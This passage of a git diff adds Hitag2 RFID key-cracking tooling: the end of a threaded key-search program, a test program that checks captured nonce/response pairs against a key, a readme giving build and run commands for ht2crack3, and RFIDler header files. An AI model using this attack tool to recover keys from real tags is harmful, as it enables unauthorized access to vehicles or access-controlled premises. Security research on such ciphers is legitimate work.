tdata[i].numnrar = numnrar;
|
||||
tdata[i].klowerrange = 0x10000 / NUM_THREADS;
|
||||
tdata[i].klowerstart = i * tdata[i].klowerrange;
|
||||
}
|
||||
|
||||
if (klowerstart) {
|
||||
// debug mode only runs one thread from klowerstart
|
||||
tdata[0].klowerstart = klowerstart;
|
||||
crack(tdata);
|
||||
} else {
|
||||
// run full threaded mode
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
if (pthread_create(&(threads[i]), NULL, crack, (void *)(tdata + i))) {
|
||||
printf("cannot start thread %d\n", i);
|
||||
exit(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// wait for threads to finish
|
||||
for (i=0; i<NUM_THREADS; i++) {
|
||||
if (pthread_join(threads[i], &status)) {
|
||||
printf("cannot join thread %d\n", i);
|
||||
exit(1);
|
||||
}
|
||||
printf("thread %i finished\n", i);
|
||||
if (status) {
|
||||
printf("Key = %012lX\n", (uint64_t)status);
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
printf("Did not find key :(\n");
|
||||
pthread_exit(NULL);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
78
tools/hitag2crack/crack3/ht2test.c
Normal file
78
tools/hitag2crack/crack3/ht2test.c
Normal file
|
@ -0,0 +1,78 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
|
||||
#include "HardwareProfile.h"
|
||||
#include "rfidler.h"
|
||||
#include "hitagcrypto.h"
|
||||
#include "util.h"
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
Hitag_State hstate;
|
||||
FILE *fp;
|
||||
char *line = NULL;
|
||||
size_t linelen = 0;
|
||||
long len = 0;
|
||||
char *nr = NULL;
|
||||
char *ar = NULL;
|
||||
uint32_t arval;
|
||||
uint32_t ks;
|
||||
char *key;
|
||||
char *uid;
|
||||
|
||||
if (argc < 4) {
|
||||
printf("ht2test nRaRfile KEY UID\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
fp = fopen(argv[1], "r");
|
||||
if (!fp) {
|
||||
printf("cannot open file\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
if (!strncmp(argv[2], "0x", 2)) {
|
||||
key = argv[2] + 2;
|
||||
} else {
|
||||
key = argv[2];
|
||||
}
|
||||
|
||||
if (!strncmp(argv[3], "0x", 2)) {
|
||||
uid = argv[3] + 2;
|
||||
} else {
|
||||
uid = argv[3];
|
||||
}
|
||||
|
||||
while ((len = getline(&line, &linelen, fp)) > 0) {
|
||||
if (len > 16) {
|
||||
ar = strchr(line, ' ');
|
||||
*ar = 0x00;
|
||||
ar++;
|
||||
ar[strlen(ar)-1] = 0x00;
|
||||
if (!strncmp(line, "0x", 2)) {
|
||||
nr = line + 2;
|
||||
} else {
|
||||
nr = line;
|
||||
}
|
||||
hitag2_init(&hstate, rev64(hexreversetoulonglong(key)), rev32(hexreversetoulong(uid)), rev32(hexreversetoulong(nr)));
|
||||
|
||||
arval = strtol(ar, NULL, 16);
|
||||
ks = hitag2_nstep(&hstate, 32);
|
||||
|
||||
|
||||
if ((arval ^ ks) != 0xffffffff) {
|
||||
printf("FAIL! nR = %s, aR = %s\n", line, ar);
|
||||
} else {
|
||||
printf("SUCCESS! nR = %s, aR = %s\n", line, ar);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fclose(fp);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
35
tools/hitag2crack/crack3/readme.md
Normal file
35
tools/hitag2crack/crack3/readme.md
Normal file
|
@ -0,0 +1,35 @@
|
|||
ht2crack3
|
||||
|
||||
|
||||
|
||||
Build
|
||||
-----
|
||||
|
||||
make clean
|
||||
make
|
||||
|
||||
|
||||
Run
|
||||
---
|
||||
|
||||
You'll need a file consisting of 136 (or more) nR aR pairs. These are the
|
||||
encrypted nonces and challenge response values. They should be in hex with
|
||||
one pair per line, e.g.:
|
||||
0x12345678 0x9abcdef0
|
||||
|
||||
./ht2crack3 UID NRARFILE
|
||||
|
||||
UID is the UID of the tag that you used to gather the nR aR values.
|
||||
NRARFILE is the file containing the nR aR values.
|
||||
|
||||
|
||||
Tests
|
||||
-----
|
||||
|
||||
If you happen to know the key and want to check that all your nR aR values
|
||||
are valid (for high-powered demonstrations only, really) then you can use
|
||||
the ht2test program to check them. It's otherwise massively pointless and a
|
||||
complete waste of space.
|
||||
|
||||
./ht2test NRARFILE KEY UID
|
||||
|
412
tools/hitag2crack/crack3/rfidler.h
Normal file
412
tools/hitag2crack/crack3/rfidler.h
Normal file
|
@ -0,0 +1,412 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
// BCD hardware revision for usb descriptor (usb_descriptors.c)
|
||||
#define RFIDLER_HW_VERSION 0x020
|
||||
|
||||
// max sizes in BITS
|
||||
#define MAXBLOCKSIZE 512
|
||||
#define MAXTAGSIZE 4096
|
||||
#define MAXUID 512
|
||||
|
||||
#define TMP_LARGE_BUFF_LEN 2048
|
||||
#define TMP_SMALL_BUFF_LEN 256
|
||||
#define ANALOGUE_BUFF_LEN 8192
|
||||
|
||||
#define COMMS_BUFFER_SIZE 128
|
||||
|
||||
#define DETECT_BUFFER_SIZE 512
|
||||
|
||||
#define SAMPLEMASK ~(BIT_1 | BIT_0) // mask to remove two bottom bits from analogue sample - we will then use those for reader & bit period
|
||||
|
||||
// globals
|
||||
|
||||
extern BOOL WiegandOutput; // Output wiegand data whenenver UID is read
|
||||
extern BYTE *EMU_Reset_Data; // Pointer to full array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
|
||||
extern BYTE EMU_ThisBit; // The next data bit to transmit
|
||||
extern BYTE EMU_SubCarrier_T0; // Number of Frame Clocks for sub-carrier '0'
|
||||
extern BYTE EMU_SubCarrier_T1; // Number of Frame Clocks for sub-carrier '1'
|
||||
extern unsigned int EMU_Repeat; // Number of times to transmit full data set
|
||||
extern BOOL EMU_Background; // Emulate in the background until told to stop
|
||||
extern unsigned int EMU_DataBitRate; // Number of Frame Clocks per bit
|
||||
extern BYTE TmpBits[TMP_LARGE_BUFF_LEN]; // Shared scratchpad
|
||||
extern BYTE ReaderPeriod; // Flag for sample display
|
||||
extern unsigned char Comms_In_Buffer[COMMS_BUFFER_SIZE]; // USB/Serial buffer
|
||||
extern BYTE Interface; // user interface - CLI or API
|
||||
extern BYTE CommsChannel; // user comms channel - USB or UART
|
||||
extern BOOL FakeRead; // flag for analogue sampler to signal it wants access to buffers during read
|
||||
extern BOOL PWD_Mode; // is this tag password protected?
|
||||
extern BYTE Password[9]; // 32 bits as HEX string set with LOGIN
|
||||
extern unsigned int Led_Count; // LED status counter, also used for entropy
|
||||
extern unsigned long Reader_Bit_Count; // Reader ISR bit counter
|
||||
extern char Previous; // Reader ISR previous bit type
|
||||
|
||||
// RWD (read/write device) coil state
|
||||
extern BYTE RWD_State; // current state of RWD coil
|
||||
extern unsigned int RWD_Fc; // field clock in uS
|
||||
extern unsigned int RWD_Gap_Period; // length of command gaps in OC5 ticks
|
||||
extern unsigned int RWD_Zero_Period; // length of '0' in OC5 ticks
|
||||
extern unsigned int RWD_One_Period; // length of '1' in OC5 ticks
|
||||
extern unsigned int RWD_Sleep_Period; // length of initial sleep to reset tag in OC5 ticks
|
||||
extern unsigned int RWD_Wake_Period; // length required for tag to restart in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_TX_RX; // length to wait when switching from TX to RX in OC5 ticks
|
||||
extern unsigned int RWD_Wait_Switch_RX_TX; // length to wait when switching from RX to TX in OC5 ticks
|
||||
extern unsigned int RWD_Post_Wait; // low level ISR wait period in OC5 ticks
|
||||
extern unsigned int RWD_OC5_config; // Output Compare Module settings
|
||||
extern unsigned int RWD_OC5_r; // Output Compare Module primary compare value
|
||||
extern unsigned int RWD_OC5_rs; // Output Compare Module secondary compare value
|
||||
extern BYTE RWD_Command_Buff[TMP_SMALL_BUFF_LEN]; // Command buffer, array of bits as bytes, stored as 0x00/0x01, '*' terminated
|
||||
extern BYTE *RWD_Command_ThisBit; // Current command bit
|
||||
extern BOOL Reader_ISR_State; // current state of reader ISR
|
||||
|
||||
// NVM variables
|
||||
// timings etc. that want to survive a reboot should go here
|
||||
typedef struct {
|
||||
BYTE Name[7]; // will be set to "RFIDler" so we can test for new device
|
||||
BYTE AutoRun[128]; // optional command to run at startup
|
||||
unsigned char TagType;
|
||||
unsigned int PSK_Quality;
|
||||
unsigned int Timeout;
|
||||
unsigned int Wiegand_Pulse;
|
||||
unsigned int Wiegand_Gap;
|
||||
BOOL Wiegand_IdleState;
|
||||
unsigned int FrameClock;
|
||||
unsigned char Modulation;
|
||||
unsigned int DataRate;
|
||||
unsigned int DataRateSub0;
|
||||
unsigned int DataRateSub1;
|
||||
unsigned int DataBits;
|
||||
unsigned int DataBlocks;
|
||||
unsigned int BlockSize;
|
||||
unsigned char SyncBits;
|
||||
BYTE Sync[4];
|
||||
BOOL BiPhase;
|
||||
BOOL Invert;
|
||||
BOOL Manchester;
|
||||
BOOL HalfDuplex;
|
||||
unsigned int Repeat;
|
||||
unsigned int PotLow;
|
||||
unsigned int PotHigh;
|
||||
unsigned int RWD_Gap_Period;
|
||||
unsigned int RWD_Zero_Period;
|
||||
unsigned int RWD_One_Period;
|
||||
unsigned int RWD_Sleep_Period;
|
||||
unsigned int RWD_Wake_Period;
|
||||
unsigned int RWD_Wait_Switch_TX_RX;
|
||||
unsigned int RWD_Wait_Switch_RX_TX;
|
||||
} StoredConfig;
|
||||
|
||||
// somewhere to store TAG data. this will be interpreted according to the TAG
|
||||
// type.
|
||||
typedef struct {
|
||||
BYTE TagType; // raw tag type
|
||||
BYTE EmulatedTagType; // tag type this tag is configured to emulate
|
||||
BYTE UID[MAXUID + 1]; // Null-terminated HEX string
|
||||
BYTE Data[MAXTAGSIZE]; // raw data
|
||||
unsigned char DataBlocks; // number of blocks in Data field
|
||||
unsigned int BlockSize; // blocksize in bits
|
||||
} VirtualTag;
|
||||
|
||||
extern StoredConfig RFIDlerConfig;
|
||||
extern VirtualTag RFIDlerVTag;
|
||||
extern BYTE TmpBuff[NVM_PAGE_SIZE];
|
||||
extern BYTE DataBuff[ANALOGUE_BUFF_LEN];
|
||||
extern unsigned int DataBuffCount;
|
||||
extern const BYTE *ModulationSchemes[];
|
||||
extern const BYTE *OnOff[];
|
||||
extern const BYTE *HighLow[];
|
||||
extern const BYTE *TagTypes[];
|
||||
|
||||
// globals for ISRs
|
||||
extern BYTE EmulationMode;
|
||||
extern unsigned long HW_Bits;
|
||||
extern BYTE HW_Skip_Bits;
|
||||
extern unsigned int PSK_Min_Pulse;
|
||||
extern BOOL PSK_Read_Error;
|
||||
extern BOOL Manchester_Error;
|
||||
extern BOOL SnifferMode;
|
||||
extern unsigned int Clock_Tick_Counter;
|
||||
extern BOOL Clock_Tick_Counter_Reset;
|
||||
|
||||
// smart card lib
|
||||
#define MAX_ATR_LEN (BYTE)33
|
||||
extern BYTE scCardATR[MAX_ATR_LEN];
|
||||
extern BYTE scATRLength;
|
||||
|
||||
// RTC
|
||||
extern rtccTime RTC_time; // time structure
|
||||
extern rtccDate RTC_date; // date structure
|
||||
|
||||
// digital pots
|
||||
#define POTLOW_DEFAULT 100
|
||||
#define POTHIGH_DEFAULT 150
|
||||
#define DC_OFFSET 60 // analogue circuit DC offset (as close as we can get without using 2 LSB)
|
||||
#define VOLTS_TO_POT 0.019607843F
|
||||
|
||||
// RWD/clock states
|
||||
#define RWD_STATE_INACTIVE 0 // RWD not in use
|
||||
#define RWD_STATE_GO_TO_SLEEP 1 // RWD coil shutdown request
|
||||
#define RWD_STATE_SLEEPING 2 // RWD coil shutdown for sleep period
|
||||
#define RWD_STATE_WAKING 3 // RWD active for pre-determined period after reset
|
||||
#define RWD_STATE_START_SEND 4 // RWD starting send of data
|
||||
#define RWD_STATE_SENDING_GAP 5 // RWD sending a gap
|
||||
#define RWD_STATE_SENDING_BIT 6 // RWD sending a data bit
|
||||
#define RWD_STATE_POST_WAIT 7 // RWD finished sending data, now in forced wait period
|
||||
#define RWD_STATE_ACTIVE 8 // RWD finished, now just clocking a carrier
|
||||
|
||||
// reader ISR states
|
||||
#define READER_STOPPED 0 // reader not in use
|
||||
#define READER_IDLING 1 // reader ISR running to preserve timing, but not reading
|
||||
#define READER_RUNNING 2 // reader reading bits
|
||||
|
||||
|
||||
// user interface types
|
||||
#define INTERFACE_API 0
|
||||
#define INTERFACE_CLI 1
|
||||
|
||||
// comms channel
|
||||
#define COMMS_NONE 0
|
||||
#define COMMS_USB 1
|
||||
#define COMMS_UART 2
|
||||
|
||||
#define MAX_HISTORY 2 // disable most of history for now - memory issue
|
||||
|
||||
// tag write retries
|
||||
#define TAG_WRITE_RETRY 5
|
||||
|
||||
// modulation modes - uppdate ModulationSchemes[] in tags.c if you change this
|
||||
#define MOD_MODE_NONE 0
|
||||
#define MOD_MODE_ASK_OOK 1
|
||||
#define MOD_MODE_FSK1 2
|
||||
#define MOD_MODE_FSK2 3
|
||||
#define MOD_MODE_PSK1 4
|
||||
#define MOD_MODE_PSK2 5
|
||||
#define MOD_MODE_PSK3 6
|
||||
|
||||
// TAG types - update TagTypes[] in tags.c if you add to this list
|
||||
#define TAG_TYPE_NONE 0
|
||||
#define TAG_TYPE_ASK_RAW 1
|
||||
#define TAG_TYPE_FSK1_RAW 2
|
||||
#define TAG_TYPE_FSK2_RAW 3
|
||||
#define TAG_TYPE_PSK1_RAW 4
|
||||
#define TAG_TYPE_PSK2_RAW 5
|
||||
#define TAG_TYPE_PSK3_RAW 6
|
||||
#define TAG_TYPE_HITAG1 7
|
||||
#define TAG_TYPE_HITAG2 8
|
||||
#define TAG_TYPE_EM4X02 9
|
||||
#define TAG_TYPE_Q5 10
|
||||
#define TAG_TYPE_HID_26 11
|
||||
#define TAG_TYPE_INDALA_64 12
|
||||
#define TAG_TYPE_INDALA_224 13
|
||||
#define TAG_TYPE_UNIQUE 14
|
||||
#define TAG_TYPE_FDXB 15
|
||||
#define TAG_TYPE_T55X7 16 // same as Q5 but different timings and no modulation-defeat
|
||||
#define TAG_TYPE_AWID_26 17
|
||||
#define TAG_TYPE_EM4X05 18
|
||||
#define TAG_TYPE_TAMAGOTCHI 19
|
||||
#define TAG_TYPE_HDX 20 // same underlying data as FDX-B, but different modulation & telegram
|
||||
|
||||
// various
|
||||
|
||||
#define BINARY 0
|
||||
#define HEX 1
|
||||
|
||||
#define NO_ADDRESS -1
|
||||
|
||||
#define ACK TRUE
|
||||
#define NO_ACK FALSE
|
||||
|
||||
#define BLOCK TRUE
|
||||
#define NO_BLOCK FALSE
|
||||
|
||||
#define DATA TRUE
|
||||
#define NO_DATA FALSE
|
||||
|
||||
#define DEBUG_PIN_ON HIGH
|
||||
#define DEBUG_PIN_OFF LOW
|
||||
|
||||
#define FAST FALSE
|
||||
#define SLOW TRUE
|
||||
|
||||
#define NO_TRIGGER 0
|
||||
|
||||
#define LOCK TRUE
|
||||
#define NO_LOCK FALSE
|
||||
|
||||
#define NFC_MODE TRUE
|
||||
#define NO_NFC_MODE FALSE
|
||||
|
||||
#define ONESHOT_READ TRUE
|
||||
#define NO_ONESHOT_READ FALSE
|
||||
|
||||
#define RESET TRUE
|
||||
#define NO_RESET FALSE
|
||||
|
||||
#define SHUTDOWN_CLOCK TRUE
|
||||
#define NO_SHUTDOWN_CLOCK FALSE
|
||||
|
||||
#define SYNC TRUE
|
||||
#define NO_SYNC FALSE
|
||||
|
||||
#define VERIFY TRUE
|
||||
#define NO_VERIFY FALSE
|
||||
|
||||
#define VOLATILE FALSE
|
||||
#define NON_VOLATILE TRUE
|
||||
|
||||
#define NEWLINE TRUE
|
||||
#define NO_NEWLINE FALSE
|
||||
|
||||
#define WAIT TRUE
|
||||
#define NO_WAIT FALSE
|
||||
|
||||
#define WIPER_HIGH 0
|
||||
#define WIPER_LOW 1
|
||||
|
||||
// conversion for time to ticks
|
||||
#define US_TO_TICKS 1000000L
|
||||
#define US_OVER_10_TO_TICKS 10000000L
|
||||
#define US_OVER_100_TO_TICKS 100000000L
|
||||
// we can't get down to this level on pic, but we want to standardise on timings, so for now we fudge it
|
||||
#define CONVERT_TO_TICKS(x) ((x / 10) * (GetSystemClock() / US_OVER_10_TO_TICKS))
|
||||
#define CONVERT_TICKS_TO_US(x) (x / (GetSystemClock() / US_TO_TICKS))
|
||||
#define TIMER5_PRESCALER 16
|
||||
#define MAX_TIMER5_TICKS (65535 * TIMER5_PRESCALER)
|
||||
|
||||
// other conversions
|
||||
|
||||
// bits to hex digits
|
||||
#define HEXDIGITS(x) (x / 4)
|
||||
#define HEXTOBITS(x) (x * 4)
|
147
tools/hitag2crack/crack3/util.h
Normal file
147
tools/hitag2crack/crack3/util.h
Normal file
|
@ -0,0 +1,147 @@
|
|||
/***************************************************************************
|
||||
* A copy of the GNU GPL is appended to this file. *
|
||||
* *
|
||||
* This licence is based on the nmap licence, and we express our gratitude *
|
||||
* for the work that went into producing it. There is no other connection *
|
||||
* between RFIDler and nmap either expressed or implied. *
|
||||
* *
|
||||
********************** IMPORTANT RFIDler LICENSE TERMS ********************
|
||||
* *
|
||||
* *
|
||||
* All references to RFIDler herein imply all it's derivatives, namely: *
|
||||
* *
|
||||
* o RFIDler-LF Standard *
|
||||
* o RFIDler-LF Lite *
|
||||
* o RFIDler-LF Nekkid *
|
||||
* *
|
||||
* *
|
||||
* RFIDler is (C) 2013-2015 Aperture Labs Ltd. *
|
||||
* *
|
||||
* This program is free software; you may redistribute and/or modify it *
|
||||
* under the terms of the GNU General Public License as published by the *
|
||||
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
|
||||
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
|
||||
* right to use, modify, and redistribute this software under certain *
|
||||
* conditions. If you wish to embed RFIDler technology into proprietary *
|
||||
* software or hardware, we sell alternative licenses *
|
||||
* (contact sales@aperturelabs.com). *
|
||||
* *
|
||||
* Note that the GPL places important restrictions on "derivative works", *
|
||||
* yet it does not provide a detailed definition of that term. To avoid *
|
||||
* misunderstandings, we interpret that term as broadly as copyright law *
|
||||
* allows. For example, we consider an application to constitute a *
|
||||
* derivative work for the purpose of this license if it does any of the *
|
||||
* following with any software or content covered by this license *
|
||||
* ("Covered Software"): *
|
||||
* *
|
||||
* o Integrates source code from Covered Software. *
|
||||
* *
|
||||
* o Is designed specifically to execute Covered Software and parse the *
|
||||
* results (as opposed to typical shell or execution-menu apps, which will *
|
||||
* execute anything you tell them to). *
|
||||
* *
|
||||
* o Includes Covered Software in a proprietary executable installer. The *
|
||||
* installers produced by InstallShield are an example of this. Including *
|
||||
* RFIDler with other software in compressed or archival form does not *
|
||||
* trigger this provision, provided appropriate open source decompression *
|
||||
* or de-archiving software is widely available for no charge. For the *
|
||||
* purposes of this license, an installer is considered to include Covered *
|
||||
* Software even if it actually retrieves a copy of Covered Software from *
|
||||
* another source during runtime (such as by downloading it from the *
|
||||
* Internet). *
|
||||
* *
|
||||
* o Links (statically or dynamically) to a library which does any of the *
|
||||
* above. *
|
||||
* *
|
||||
* o Executes a helper program, module, or script to do any of the above. *
|
||||
* *
|
||||
* This list is not exclusive, but is meant to clarify our interpretation *
|
||||
* of derived works with some common examples. Other people may interpret *
|
||||
* the plain GPL differently, so we consider this a special exception to *
|
||||
* the GPL that we apply to Covered Software. Works which meet any of *
|
||||
* these conditions must conform to all of the terms of this license, *
|
||||
* particularly including the GPL Section 3 requirements of providing *
|
||||
* source code and allowing free redistribution of the work as a whole. *
|
||||
* *
|
||||
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
|
||||
* permission to link the code of this program with any version of the *
|
||||
* OpenSSL library which is distributed under a license identical to that *
|
||||
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
|
||||
* linked combinations including the two. *
|
||||
* *
|
||||
* Any redistribution of Covered Software, including any derived works, *
|
||||
* must obey and carry forward all of the terms of this license, including *
|
||||
* obeying all GPL rules and restrictions. For example, source code of *
|
||||
* the whole work must be provided and free redistribution must be *
|
||||
* allowed. All GPL references to "this License", are to be treated as *
|
||||
* including the terms and conditions of this license text as well. *
|
||||
* *
|
||||
* Because this license imposes special exceptions to the GPL, Covered *
|
||||
* Work may not be combined (even as part of a larger work) with plain GPL *
|
||||
* software. The terms, conditions, and exceptions of this license must *
|
||||
* be included as well. This license is incompatible with some other open *
|
||||
* source licenses as well. In some cases we can relicense portions of *
|
||||
* RFIDler or grant special permissions to use it in other open source *
|
||||
* software. Please contact sales@aperturelabs.com with any such requests.*
|
||||
* Similarly, we don't incorporate incompatible open source software into *
|
||||
* Covered Software without special permission from the copyright holders. *
|
||||
* *
|
||||
* If you have any questions about the licensing restrictions on using *
|
||||
* RFIDler in other works, are happy to help. As mentioned above, we also *
|
||||
* offer alternative license to integrate RFIDler into proprietary *
|
||||
* applications and appliances. These contracts have been sold to dozens *
|
||||
* of software vendors, and generally include a perpetual license as well *
|
||||
* as providing for priority support and updates. They also fund the *
|
||||
* continued development of RFIDler. Please email sales@aperturelabs.com *
|
||||
* for further information. *
|
||||
* If you have received a written license agreement or contract for *
|
||||
* Covered Software stating terms other than these, you may choose to use *
|
||||
* and redistribute Covered Software under those terms instead of these. *
|
||||
* *
|
||||
* Source is provided to this software because we believe users have a *
|
||||
* right to know exactly what a program is going to do before they run it. *
|
||||
* This also allows you to audit the software for security holes (none *
|
||||
* have been found so far). *
|
||||
* *
|
||||
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
|
||||
* and add new features. You are highly encouraged to send your changes *
|
||||
* to the RFIDler mailing list for possible incorporation into the *
|
||||
* main distribution. By sending these changes to Aperture Labs Ltd. or *
|
||||
* one of the Aperture Labs Ltd. development mailing lists, or checking *
|
||||
* them into the RFIDler source code repository, it is understood (unless *
|
||||
* you specify otherwise) that you are offering the RFIDler Project *
|
||||
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
|
||||
* modify, and relicense the code. RFIDler will always be available Open *
|
||||
* Source, but this is important because the inability to relicense code *
|
||||
* has caused devastating problems for other Free Software projects (such *
|
||||
* as KDE and NASM). We also occasionally relicense the code to third *
|
||||
* parties as discussed above. If you wish to specify special license *
|
||||
* conditions of your contributions, just say so when you send them. *
|
||||
* *
|
||||
* This program is distributed in the hope that it will be useful, but *
|
||||
* WITHOUT ANY WARRANTY; without even the implied warranty of *
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
|
||||
* license file for more details (it's in a COPYING file included with *
|
||||
* RFIDler, and also available from *
|
||||
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
|
||||
* *
|
||||
***************************************************************************/
|
||||
|
||||
// Author: Adam Laurie <adam@aperturelabs.com>
|
||||
|
||||
/*
|
||||
* Hitag Crypto support macros
|
||||
* These macros reverse the bit order in a byte, or *within* each byte of a
|
||||
* 16 , 32 or 64 bit unsigned integer. (Not across the whole 16 etc bits.)
|
||||
*/
|
||||
#define rev8(X) ((((X) >> 7) &1) + (((X) >> 5) &2) + (((X) >> 3) &4) \
|
||||
+ (((X) >> 1) &8) + (((X) << 1) &16) + (((X) << 3) &32) \
|
||||
+ (((X) << 5) &64) + (((X) << 7) &128) )
|
||||
#define rev16(X) (rev8 (X) + (rev8 (X >> 8) << 8))
|
||||
#define rev32(X) (rev16(X) + (rev16(X >> 16) << 16))
|
||||
#define rev64(X) (rev32(X) + (rev32(X >> 32) << 32))
|
||||
|
||||
|
||||
unsigned long hexreversetoulong(BYTE *hex);
|
||||
unsigned long long hexreversetoulonglong(BYTE *hex);
|
||||
